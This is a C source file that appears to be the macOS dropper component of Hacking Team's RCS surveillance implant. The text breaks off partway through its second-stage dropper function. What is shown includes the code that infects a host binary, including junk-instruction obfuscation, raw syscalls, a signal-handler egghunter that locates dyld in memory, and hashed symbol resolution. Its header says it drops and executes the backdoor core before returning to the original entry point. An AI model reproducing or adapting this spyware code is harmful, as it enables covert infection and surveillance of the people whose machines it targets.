/* * RCSMac Dropper - Dropper Component * - API resolution * - get dyld_image_count/dyld_get_image_name/dyld_get_image_header from * dyld in memory * - Look for LC_SYMTAB and get all the symbols from there * - cycle through all the loaded images in memory looking for libSystem * - once found, get all the other symbols (c standard library) * - Same method as dyld -> LC_SYMTAB * - Get all the resources info, drop the files and execute the RESOURCE_CORE * - Jump to the original entry point * * Created by Alfredo 'revenge' Pesoli on 24/07/2009 * Win32 porting by Massimo Chiodini on 02/11/2009 * Refactored & fixed by Guido Landi on 14/03/2012 * Copyright (C) HT srl 2009. All rights reserved * */ #include #include #include "RCSMacCommon.h" #include "RCSMacDropper.h" #define DYLD32_IMAGE_BASE 0x8FE #define DYLD64_IMAGE_BASE 0x7fff6 // 0000000 #define O_RDWR 0x0002 #define O_CREAT 0x0200 #define O_TRUNC 0x0400 #define O_EXCL 0x0800 #define RTLD_DEFAULT ((void *) - 2) #define PROT_READ 0x01 // [MC2] pages can be read #define PROT_WRITE 0x02 // [MC2] pages can be written #define MAP_SHARED 0x0001 // [MF|SHM] share changes //#define LOADER_DEBUG void dropperStart () { int a = 5; } void doExit () { #ifdef WIN32 __asm__ __volatile__ { xor eax,eax push eax inc eax push eax int 0x80 } #else __asm__ __volatile__ ( "xorl %eax, %eax\n" "push %eax\n" "inc %eax\n" "push %eax\n" "int $0x80\n" ); #endif } static unsigned int sdbm (unsigned char *str) { int c; unsigned long hash = 0; while ((c = *str++)) hash = c + (hash << 6) + (hash << 16) - hash; return hash; } unsigned int findSymbolInFatBinary (byte *imageBase, unsigned int symbolHash) { #ifdef LOADER_DEBUG printf("[ii] findSymbolInFatBinary!\n"); #endif if (imageBase == 0x0) { #ifdef LOADER_DEBUG printf("[ee] Exiting (imageBase is 0)\n"); #endif doExit(); } struct mach_header *mh_header = NULL; struct load_command *l_command = NULL; struct nlist *sym_nlist = NULL; struct symtab_command *sym_command = NULL; struct segment_command *seg_command = NULL; struct fat_header *f_header = NULL; struct fat_arch *f_arch = NULL; char *symbolName = NULL; int offset, symbolOffset, stringOffset, x86Offset, found; unsigned int i, nfat; __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset = found = 0; f_header = (struct fat_header *)imageBase; __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset += sizeof (struct fat_header); nfat = SWAP_LONG (f_header->nfat_arch); #ifdef LOADER_DEBUG printf("[ii] magic: %x\n", f_header->magic); printf("[ii] nFatArch: %d\n", nfat); #endif __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } for (i = 0; i < nfat; i++) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } f_arch = (struct fat_arch *)(imageBase + offset); int cpuType = SWAP_LONG (f_arch->cputype); __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } if (cpuType == 0x7) break; __asm { mov eax, eax push ecx pop ecx mov ecx, ecx } offset += sizeof (struct fat_arch); } x86Offset = SWAP_LONG (f_arch->offset); #ifdef LOADER_DEBUG printf ("[ii] x86 offset: %x\n", x86Offset); #endif __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset = x86Offset; mh_header = (struct mach_header *)(imageBase + offset); __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset += sizeof (struct mach_header); #ifdef LOADER_DEBUG printf("imageBase in findSymbolFat: %x\n", mh_header); #endif #ifdef LOADER_DEBUG printf("[ii] ncmdsFat: %d\n", mh_header->ncmds); #endif for (i = 0; i < mh_header->ncmds; i++) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } l_command = (struct load_command *)(imageBase + offset); #ifdef LOADER_DEBUG printf("[ii] cmdFat: %d\n", l_command->cmd); #endif if (l_command->cmd == LC_SEGMENT) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } if (found) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset += l_command->cmdsize; __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } continue; } __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } seg_command = (struct segment_command *)(imageBase + offset); #ifdef LOADER_DEBUG printf("[ii] segNameFat: %s\n", seg_command->segname); #endif if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) found = 1; __asm { mov eax, eax push ecx pop ecx mov ecx, ecx } } else if (l_command->cmd == LC_SYMTAB) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } sym_command = (struct symtab_command *)(imageBase + offset); if (found) break; __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } } __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } offset += l_command->cmdsize; } __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } symbolOffset = x86Offset + sym_command->symoff; stringOffset = x86Offset + sym_command->stroff; #ifdef LOADER_DEBUG printf("[ii] offsetFat: %x\n", offset); printf("[ii] stringOffsetFat: %x\n", stringOffset); printf("[ii] nSymsFat: %d\n", sym_command->nsyms); #endif for (i = 0; i < sym_command->nsyms; i++) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } sym_nlist = (struct nlist *)(imageBase + symbolOffset); symbolOffset += sizeof (struct nlist); __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } if (sym_nlist->n_un.n_strx == 0x0) { __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } continue; } __asm { mov eax, eax push ecx pop ecx mov ecx, ecx } symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset); __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } #ifdef LOADER_DEBUG_VERBOSE printf ("[ii] SYMBOLFat: %s\n", symbolName); #endif if (sdbm((unsigned char *)symbolName) == symbolHash) { #ifdef LOADER_DEBUG printf ("[ii] Symbol Found\n"); printf ("[ii] SYMBOLFat: %s\n", symbolName); printf ("[ii] addressFat: %x\n", sym_nlist->n_value); #endif __asm { push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx } return sym_nlist->n_value; } } return -1; } unsigned int findSymbol_snow (byte *imageBase, unsigned int symbolHash) { struct mach_header *mh_header = NULL; struct load_command *l_command = NULL; struct nlist *sym_nlist = NULL; struct symtab_command *sym_command = NULL; struct segment_command *seg_command = NULL; char *symbolName = NULL; int offset, found, stringOffset; unsigned int hash, i; offset = found = 0; mh_header = (struct mach_header *)imageBase; offset += sizeof (struct mach_header); for (i = 0; i < mh_header->ncmds; i++) { l_command = (struct load_command *)(imageBase + offset); if (l_command->cmd == LC_SEGMENT) { if (found) { offset += l_command->cmdsize; continue; } seg_command = (struct segment_command *)(imageBase + offset); if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) found = 1; } else if (l_command->cmd == LC_SYMTAB) { sym_command = (struct symtab_command *)(imageBase + offset); if (found) break; } offset += l_command->cmdsize; } offset = sym_command->symoff - seg_command->fileoff + seg_command->vmaddr; stringOffset = sym_command->stroff - seg_command->fileoff + seg_command->vmaddr; for (i = 0; i < sym_command->nsyms; i++) { sym_nlist = (struct nlist *)offset; offset += sizeof (struct nlist); symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset); hash = sdbm ((unsigned char *)symbolName); #ifdef LOADER_DEBUG_VERBOSE printf ("[ii] SYMBOL: %s\n", symbolName); #endif if (hash == symbolHash) { #ifdef LOADER_DEBUG printf ("[ii] Symbol Found\n"); printf ("[ii] SYMBOL: %s\n", symbolName); printf ("[ii] address: %x\n", sym_nlist->n_value); #endif return sym_nlist->n_value; } } return -1; } unsigned int findSymbol_mavericks(byte *imageBase, unsigned int symbolHash) { unsigned int i, offset, found, textVMAddr; struct mach_header *mh_header = NULL; struct load_command *l_command = NULL; struct segment_command *seg_command = NULL; struct symtab_command *sym_command = NULL; struct nlist *sym_nlist = NULL; mh_header = (struct mach_header *)imageBase; offset = sizeof(struct mach_header); for (i=0, found=0; incmds; i++) { l_command = (struct load_command *) (imageBase + offset); if (l_command->cmd == LC_SEGMENT) { if (!found) { seg_command = (struct segment_command *)(imageBase + offset); if (sdbm((unsigned char *)seg_command->segname) == linkeditHash) found = 1; if (sdbm((unsigned char *)seg_command->segname) == 0xd5be1a2d) textVMAddr = seg_command->vmaddr; } } else if (l_command->cmd == LC_SYMTAB) { if (found) { sym_command = (struct symtab_command *) (imageBase + offset); break; } } offset += l_command->cmdsize; } if (found == 0 || sym_command == NULL || seg_command == NULL) return -1; unsigned int linkeditVmaddr = (seg_command->vmaddr - textVMAddr) + (unsigned int)imageBase; unsigned int stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr; offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr; for (i=0; insyms; i++) { sym_nlist = (struct nlist *)offset; offset += sizeof (struct nlist); unsigned char *symbolName = (unsigned char *)(sym_nlist->n_un.n_strx + stringOffset); if (sdbm(symbolName) == symbolHash) { unsigned int sym_offset = sym_nlist->n_value; return (sym_offset - (0x8FE<<20) + (unsigned int)imageBase); } } return -1; } unsigned int findSymbol_lion(byte *imageBase, unsigned int symbolHash) { struct mach_header *mh_header = NULL; struct load_command *l_command = NULL; struct nlist *sym_nlist = NULL; struct symtab_command *sym_command = NULL; struct segment_command *seg_command = NULL; char *symbolName = NULL; int offset, found, stringOffset; unsigned int hash, i; offset = found = 0; mh_header = (struct mach_header *)imageBase; offset += sizeof (struct mach_header); for (i = 0; i < mh_header->ncmds; i++) { l_command = (struct load_command *)(imageBase + offset); if (l_command->cmd == LC_SEGMENT) { if (found) { offset += l_command->cmdsize; continue; } seg_command = (struct segment_command *)(imageBase + offset); if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) { found = 1; } } else if (l_command->cmd == LC_SYMTAB) { sym_command = (struct symtab_command *)(imageBase + offset); if (found) { break; } } offset += l_command->cmdsize; } unsigned int linkeditVmaddr; unsigned int dyldBase; // // Fow now we hardcode the vmaddr for the linkedit segment in dyld // the right thing to do would be parsing the binary on disk // Parse __TEXT and get vmaddr // Parse __LINKEDIT and get vmaddr // __LINKEDIT->vmaddr - __TEXT->vmaddr = memory displacement // then randomized base + memory displacement = randomized __LINKEDIT position // //if (sizeof(long) == 8) // 64bit //{ //linkeditVmaddr = (unsigned int)imageBase + 0x71000; //dyldBase = DYLD64_IMAGE_BASE << 40; //} if (sizeof(long) == 4) // 32bit { linkeditVmaddr = (unsigned int)imageBase + 0x5e000; dyldBase = DYLD32_IMAGE_BASE << 20; } offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr; stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr; for (i = 0; i < sym_command->nsyms; i++) { sym_nlist = (struct nlist *)offset; offset += sizeof (struct nlist); symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset); hash = sdbm ((unsigned char *)symbolName); #ifdef DEBUG printf ("[ii] SYMBOL: %s\n", symbolName); #endif if (hash == symbolHash) { #ifdef DEBUG printf ("[ii] Symbol Found\n"); printf ("[ii] SYMBOL: %s\n", symbolName); printf ("[ii] address: %x\n", sym_nlist->n_value); #endif unsigned int sym_offset = sym_nlist->n_value - dyldBase; sym_offset += (unsigned int)imageBase; return sym_offset; } } return -1; } void *mapLibSystem() { // // since struct stat on win32 is half the size of the unix counterpart // declare it twice for padding the damn ebp :> // struct stat pad; struct stat mSt; void *address; int fd; int err; //fd = open("/usr/lib/libSystem.B.dylib", O_RDONLY); #ifdef WIN32 __asm__ __volatile__ { sub esp, 0x80 push 0x00006269 push 0x6c79642e push 0x422e6d65 push 0x74737953 push 0x62696c2f push 0x62696c2f push 0x7273752f mov edx, esp push 0x0 push edx xor eax, eax mov al, 0x5 push eax int 0x80 mov [fd], eax } #else __asm__ __volatile__ ( "subl $52, %%esp\n" "pushl $0x00006269\n" "pushl $0x6c79642e\n" "pushl $0x422e6d65\n" "pushl $0x74737953\n" "pushl $0x62696c2f\n" "pushl $0x62696c2f\n" "pushl $0x7273752f\n" "movl %%esp, %%edx\n" "pushl $0x0\n" "pushl %%edx\n" "xorl %%eax, %%eax\n" "movb $5, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(fd) : ); #endif if (fd == -1) return (NULL); //err = fstat(fd, &st); #ifdef WIN32 __asm__ __volatile__ { lea eax, [pad] mov DWORD PTR [esp+0x4], eax // struct stat mov eax, [fd] mov DWORD PTR [esp], eax // fd xor eax, eax mov al, 189 push eax int 0x80 mov [err], eax } #else __asm__ __volatile__ ( "leal %2, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $189, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(err) :"m"(fd), "m"(st) ); #endif if (err != 0) return (NULL); //ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); #ifdef WIN32 __asm__ __volatile__ { mov DWORD PTR [esp+24], 0 mov DWORD PTR [esp+20], 0 mov eax, [fd] mov DWORD PTR [esp+16], eax mov DWORD PTR [esp+12], 2 // MAP_PRIVATE mov DWORD PTR [esp+8], 1 // PROT_READ mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes) mov DWORD PTR [esp+4], eax mov DWORD PTR [esp], 0 xor eax, eax mov al, 197 push eax int 0x80 mov [address], eax } #else __asm__ __volatile__ ( "movl $0, 24(%%esp)\n" "movl $0, 20(%%esp)\n" "movl %2, %%eax\n" "movl %%eax, 16(%%esp)\n" "movl $2, 12(%%esp)\n" "movl $1, 8(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl $0, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $197, %%al\n" "pushl %%eax\n" "int $0x80\n" "mov %%eax, %0\n" :"=m"(address) :"m"(st.st_size), "m"(fd) ); #endif return address; } void *mapLibDyld() { // // since struct stat on win32 is half the size of the unix counterpart // declare it twice for padding the damn ebp :> // struct stat pad; struct stat mSt; void *address; int fd; int err; //fd = open("/usr/lib/system/libdyld.dylib", O_RDONLY); #ifdef WIN32 __asm__ __volatile__ { sub esp, 0x84 push 0x00000062 push 0x696c7964 push 0x2e646c79 push 0x6462696c push 0x2f6d6574 push 0x7379732f push 0x62696c2f push 0x7273752f mov edx, esp push 0x0 push edx xor eax, eax mov al, 0x5 push eax int 0x80 mov [fd], eax } #else __asm__ __volatile__ ( "subl $52, %%esp\n" "pushl $0x00006269\n" "pushl $0x6c79642e\n" "pushl $0x422e6d65\n" "pushl $0x74737953\n" "pushl $0x62696c2f\n" "pushl $0x62696c2f\n" "pushl $0x7273752f\n" "movl %%esp, %%edx\n" "pushl $0x0\n" "pushl %%edx\n" "xorl %%eax, %%eax\n" "movb $5, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(fd) : ); #endif if (fd == -1) return (NULL); //err = fstat(fd, &st); #ifdef WIN32 __asm__ __volatile__ { lea eax, [pad] mov DWORD PTR [esp+0x4], eax // struct stat mov eax, [fd] mov DWORD PTR [esp], eax // fd xor eax, eax mov al, 189 push eax int 0x80 mov [err], eax } #else __asm__ __volatile__ ( "leal %2, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $189, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(err) :"m"(fd), "m"(st) ); #endif if (err != 0) return (NULL); //ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); #ifdef WIN32 __asm__ __volatile__ { mov DWORD PTR [esp+24], 0 mov DWORD PTR [esp+20], 0 mov eax, [fd] mov DWORD PTR [esp+16], eax mov DWORD PTR [esp+12], 2 // MAP_PRIVATE mov DWORD PTR [esp+8], 1 // PROT_READ mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes) mov DWORD PTR [esp+4], eax mov DWORD PTR [esp], 0 xor eax, eax mov al, 197 push eax int 0x80 mov [address], eax } #else __asm__ __volatile__ ( "movl $0, 24(%%esp)\n" "movl $0, 20(%%esp)\n" "movl %2, %%eax\n" "movl %%eax, 16(%%esp)\n" "movl $2, 12(%%esp)\n" "movl $1, 8(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl $0, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $197, %%al\n" "pushl %%eax\n" "int $0x80\n" "mov %%eax, %0\n" :"=m"(address) :"m"(st.st_size), "m"(fd) ); #endif return address; } void *mapLibSystemC() { // // since struct stat on win32 is half the size of the unix counterpart // declare it twice for padding the damn ebp :> // struct stat pad; struct stat mSt; void *address; int fd; int err; //fd = open("/usr/lib/system/libsystem_c.dylib", O_RDONLY); #ifdef WIN32 __asm__ __volatile__ { sub esp, 0x88 push 0x00000062 push 0x696c7964 push 0x2e635f6d push 0x65747379 push 0x7362696c push 0x2f6d6574 push 0x7379732f push 0x62696c2f push 0x7273752f mov edx, esp push 0x0 push edx xor eax, eax mov al, 0x5 push eax int 0x80 mov [fd], eax } #else __asm__ __volatile__ ( "subl $52, %%esp\n" "pushl $0x00006269\n" "pushl $0x6c79642e\n" "pushl $0x422e6d65\n" "pushl $0x74737953\n" "pushl $0x62696c2f\n" "pushl $0x62696c2f\n" "pushl $0x7273752f\n" "movl %%esp, %%edx\n" "pushl $0x0\n" "pushl %%edx\n" "xorl %%eax, %%eax\n" "movb $5, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(fd) : ); #endif if (fd == -1) return (NULL); //err = fstat(fd, &st); #ifdef WIN32 __asm__ __volatile__ { lea eax, [pad] mov DWORD PTR [esp+0x4], eax // struct stat mov eax, [fd] mov DWORD PTR [esp], eax // fd xor eax, eax mov al, 189 push eax int 0x80 mov [err], eax } #else __asm__ __volatile__ ( "leal %2, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $189, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(err) :"m"(fd), "m"(st) ); #endif if (err != 0) return (NULL); //ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); #ifdef WIN32 __asm__ __volatile__ { mov DWORD PTR [esp+24], 0 mov DWORD PTR [esp+20], 0 mov eax, [fd] mov DWORD PTR [esp+16], eax mov DWORD PTR [esp+12], 2 // MAP_PRIVATE mov DWORD PTR [esp+8], 1 // PROT_READ mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes) mov DWORD PTR [esp+4], eax mov DWORD PTR [esp], 0 xor eax, eax mov al, 197 push eax int 0x80 mov [address], eax } #else __asm__ __volatile__ ( "movl $0, 24(%%esp)\n" "movl $0, 20(%%esp)\n" "movl %2, %%eax\n" "movl %%eax, 16(%%esp)\n" "movl $2, 12(%%esp)\n" "movl $1, 8(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl $0, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $197, %%al\n" "pushl %%eax\n" "int $0x80\n" "mov %%eax, %0\n" :"=m"(address) :"m"(st.st_size), "m"(fd) ); #endif return address; } void *mapLibSystemK() { // // since struct stat on win32 is half the size of the unix counterpart // declare it twice for padding the damn ebp :> // struct stat pad; struct stat mSt; void *address; int fd; int err; //fd = open("/usr/lib/system/libsystem_kernel.dylib", O_RDONLY); #ifdef WIN32 __asm__ __volatile__ { sub esp, 0x92 push 0x00006269 push 0x6c79642e push 0x6c656e72 push 0x656b5f6d push 0x65747379 push 0x7362696c push 0x2f6d6574 push 0x7379732f push 0x62696c2f push 0x7273752f mov edx, esp push 0x0 push edx xor eax, eax mov al, 0x5 push eax int 0x80 mov [fd], eax } #else __asm__ __volatile__ ( "subl $52, %%esp\n" "pushl $0x00006269\n" "pushl $0x6c79642e\n" "pushl $0x422e6d65\n" "pushl $0x74737953\n" "pushl $0x62696c2f\n" "pushl $0x62696c2f\n" "pushl $0x7273752f\n" "movl %%esp, %%edx\n" "pushl $0x0\n" "pushl %%edx\n" "xorl %%eax, %%eax\n" "movb $5, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(fd) : ); #endif if (fd == -1) return (NULL); //err = fstat(fd, &st); #ifdef WIN32 __asm__ __volatile__ { lea eax, [pad] mov DWORD PTR [esp+0x4], eax // struct stat mov eax, [fd] mov DWORD PTR [esp], eax // fd xor eax, eax mov al, 189 push eax int 0x80 mov [err], eax } #else __asm__ __volatile__ ( "leal %2, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $189, %%al\n" "pushl %%eax\n" "int $0x80\n" "movl %%eax, %0" :"=m"(err) :"m"(fd), "m"(st) ); #endif if (err != 0) return (NULL); //ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); #ifdef WIN32 __asm__ __volatile__ { mov DWORD PTR [esp+24], 0 mov DWORD PTR [esp+20], 0 mov eax, [fd] mov DWORD PTR [esp+16], eax mov DWORD PTR [esp+12], 2 // MAP_PRIVATE mov DWORD PTR [esp+8], 1 // PROT_READ mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes) mov DWORD PTR [esp+4], eax mov DWORD PTR [esp], 0 xor eax, eax mov al, 197 push eax int 0x80 mov [address], eax } #else __asm__ __volatile__ ( "movl $0, 24(%%esp)\n" "movl $0, 20(%%esp)\n" "movl %2, %%eax\n" "movl %%eax, 16(%%esp)\n" "movl $2, 12(%%esp)\n" "movl $1, 8(%%esp)\n" "movl %1, %%eax\n" "movl %%eax, 4(%%esp)\n" "movl $0, (%%esp)\n" "xorl %%eax, %%eax\n" "movb $197, %%al\n" "pushl %%eax\n" "int $0x80\n" "mov %%eax, %0\n" :"=m"(address) :"m"(st.st_size), "m"(fd) ); #endif return address; } void labelTest () { } void secondStageDropper (unsigned long args) { unsigned int fd; hijack_context *h_context = (hijack_context *)&args; // "context" saved by pushad // save registers to restore it later unsigned long _eax = h_context->eax; unsigned long _ecx = h_context->ecx; unsigned long _edx = h_context->edx; unsigned long _ebx = h_context->ebx; unsigned long _esp = h_context->esp; unsigned long _ebp = h_context->ebp; unsigned long _esi = h_context->esi; unsigned long _edi = h_context->edi; int crtStartSize = 54; const char *imageName = NULL; void *baseAddress = NULL; void *libSystemAddress = NULL; void *dyldBaseAddress = NULL; int imageCount, z = 0; void *infectionBase = NULL; #ifdef WIN32 sigaction new_act = {0}; sigaction old_act = {0}; u32_sigaction sig = {0}; unsigned int sig_handler; unsigned char file_buffer[1024]; int osx_version, file_handle, read_len, i; sig_handler = osx_version = file_handle = read_len = i = 0; __asm__ __volatile__ { mov eax, [ebp+0x4] // retaddr sub eax, 0xD3 // infection base is 0xd3 bytes before retaddr mov [infectionBase], eax jmp get_pc init: pop eax mov [sig_handler], eax jmp l_out get_pc: call init // this is weird, depending on some stars allignment the context's // offset changes and so we just scan the stack for a register we // know it's not changed by the kernel(ebp) sig_handler: mov eax, esp sig_loop: add eax, 0x4 // eax == eip subito dopo get_pc cmp [eax], ebp jne sig_loop add eax, 0x4 mov esp, eax // now esp points to the faulting ESP value // in the middle of the thread context sub [esp], 4 // make room for retaddr mov eax, [esp] mov ebx, [esp+0xc] // ebx == faulting EIP add ebx, 8 // add to EIP to jump over CMP & JE of egghunter !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! mov [eax], ebx // save retaddr // restore registers & return back to the egghunter mov eax, [esp-0x1c] mov ebx, [esp-0x18] mov ecx, [esp-0x14] mov edx, [esp-0x10] mov esi, [esp-0xc] mov edi, [esp-0x8] mov ebp, [esp-0x4] mov esp, [esp] ret l_out: } // FIN QUI TUTTOK sig.sig_action = 0x41414141; sig.sig_tramp = sig_handler; sig.sig_flags = 0x70; // SA_SIGINFO|SA_NODEFER|SA_NOCLDWAIT // install sig_handler __asm__ __volatile__ { lea eax, [sig] mov eax, eax push ecx pop ecx mov ecx, ecx push 0x0 push eax // &sig push 0xb // SIGSEGV mov eax, eax push ecx pop ecx mov ecx, ecx mov eax, 0x2e // SYS_sigaction push eax int 0x80 add esp, 0x10 } // egghunter: scans for the first 0xfeedface from // 0x8fe00000 to 0x8fff0000 __asm__ __volatile__ { mov eax, 0x8fe00000 l_loop: cmp DWORD PTR [eax], 0xfeedface // se qui c'e' un exception va a eseguire il sig_handler qui sopra che restora i registri e ritorna due istruzioni dipo. je found add eax, 0x1000 // qui ritorna il sig_handler! cmp eax, 0x8fff1000 jne l_loop mov DWORD PTR [dyldBaseAddress], 0x0 jmp l_break found: mov DWORD PTR [dyldBaseAddress], eax l_break: nop } char SystemVersion[49] = {'/', 'S', 'y', 's', 't', 'e', 'm', '/', 'L', 'i', 'b', 'r', 'a', 'r', 'y', '/', 'C', 'o', 'r', 'e', 'S', 'e', 'r', 'v', 'i', 'c', 'e', 's', '/', 'S', 'y', 's', 't', 'e', 'm', 'V', 'e', 'r', 's', 'i', 'o', 'n', '.', 'p', 'l', 'i', 's', 't', 0x0}; // find macosx version, si puo' fare con una syscall :) __asm__ __volatile__ { push 0 ///push [SystemVersion] lea eax, [SystemVersion] push eax mov eax, 0x5 push eax int 0x80 mov [file_handle], eax //add esp, 0x40 add esp, 0xc } if(file_handle <= 0) goto OEP_CALL; // read file __asm__ __volatile__ { push 0x400 lea eax, [file_buffer] push eax mov eax, [file_handle] push eax mov eax, 0x3 push eax int 0x80 mov [read_len], eax add esp, 0x10 } if(read_len <= 0) goto OEP_CALL; // homebrew plist parsing FTW! while(*(unsigned int *)&file_buffer[i++] != 0x696c702f && read_len > i) // "/pli" if(*(unsigned int *)&file_buffer[i] == 0x2e30313e) // ">10." { if (file_buffer[i+4] == 0x36) osx_version = 1; else if(file_buffer[i+4] == 0x37 || file_buffer[i+4] == 0x38) osx_version = 2; else if (file_buffer[i+4] == 0x39) osx_version = 3; break; } #else __asm__ __volatile__ ( "movl 4(%%ebp), %%eax\n" "subl $0xD2, %%eax\n" "movl %%eax, %0\n" : "=m"(baseAddress) : ); #endif #ifndef LOADER_DEBUG int pid = 0; char *userHome = NULL; char *destinationDir = NULL; char *filePointer = NULL; char *backdoorPath = NULL; int backdoorIsAlreadyInstalled = 0; int errorOnInstall = 0; unsigned int offset = (unsigned int)(infectionBase) + sizeof (infectionHeader); infectionHeader *infection = (infectionHeader *)infectionBase; stringTable *stringList = (stringTable *)offset; resourceHeader *resource = NULL; char *strings[16]; #endif // // dyld function pointer prototypes // uint32_t (*_idyld_image_count) (void); const char *(*_idyld_get_image_name) (uint32_t); const struct mach_header *(*_idyld_get_image_header) (uint32_t); // // libSystem function pointer prototypes // int (*iopen) (const char *, int, ...); long (*ilseek) (int, _mOff_t, int); int (*iclose) (int); int (*ichdir) (const char *); int (*iwrite) (int, const void *, int); int (*ipwrite) (int, const void *, int, _mOff_t); int (*istat) (const char *, struct stat *); void *(*immap) (void *, _mSize_t, int, int, int, _mOff_t); int (*imunmap) (void *, _mSize_t); void *(*imemcpy) (void *, const void *, int); int (*isprintf) (char *, const char *, ...); int (*iprintf) (const char *, ...); char *(*igetenv) (const char *); int (*imkdir) (const char *, unsigned int); int (*iexecve) (const char *, char *, char *); int (*iexecl) (const char *, const char *, ...); int (*ifork) (void); char *(*istrncpy) (char *, const char *, _mSize_t); void *(*imalloc) (int); void (*ifree) (void *); unsigned int (*isleep) (unsigned int); int (*isigaction) (int sig, sigaction *act, sigaction *oact); void *libdyldAddress = mapLibDyld(); void *libsystemcAddress = mapLibSystemC(); void *libsystemkAddress = mapLibSystemK(); unsigned int imageBase = (unsigned int)dyldBaseAddress; if (osx_version == 1) _idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_snow((byte *)imageBase, dyld_image_countHash)); else if (osx_version == 2) _idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_lion((byte *)imageBase, dyld_image_countHash)); else if (osx_version == 3) _idyld_image_count = (uint32_t (__cdecl*)(void))(findSymbol_mavericks((byte *)imageBase, dyld_image_countHash)); if ((int)_idyld_image_count != -1) { imageCount = _idyld_image_count (); #ifdef LOADER_DEBUG printf ("[ii] imageCount: %d\n", imageCount); #endif if (osx_version == 1) { _idyld_get_image_name = (const char *(__cdecl *)(uint32_t)) (findSymbol_snow((byte *)imageBase, dyld_get_image_nameHash)); _idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t)) (findSymbol_snow((byte *)imageBase, dyld_get_image_headerHash)); } else if (osx_version == 2) { _idyld_get_image_name = (const char *(__cdecl *)(uint32_t)) (findSymbol_lion((byte *)imageBase, dyld_get_image_nameHash)); _idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t)) (findSymbol_lion((byte *)imageBase, dyld_get_image_headerHash)); } else if (osx_version == 3) { 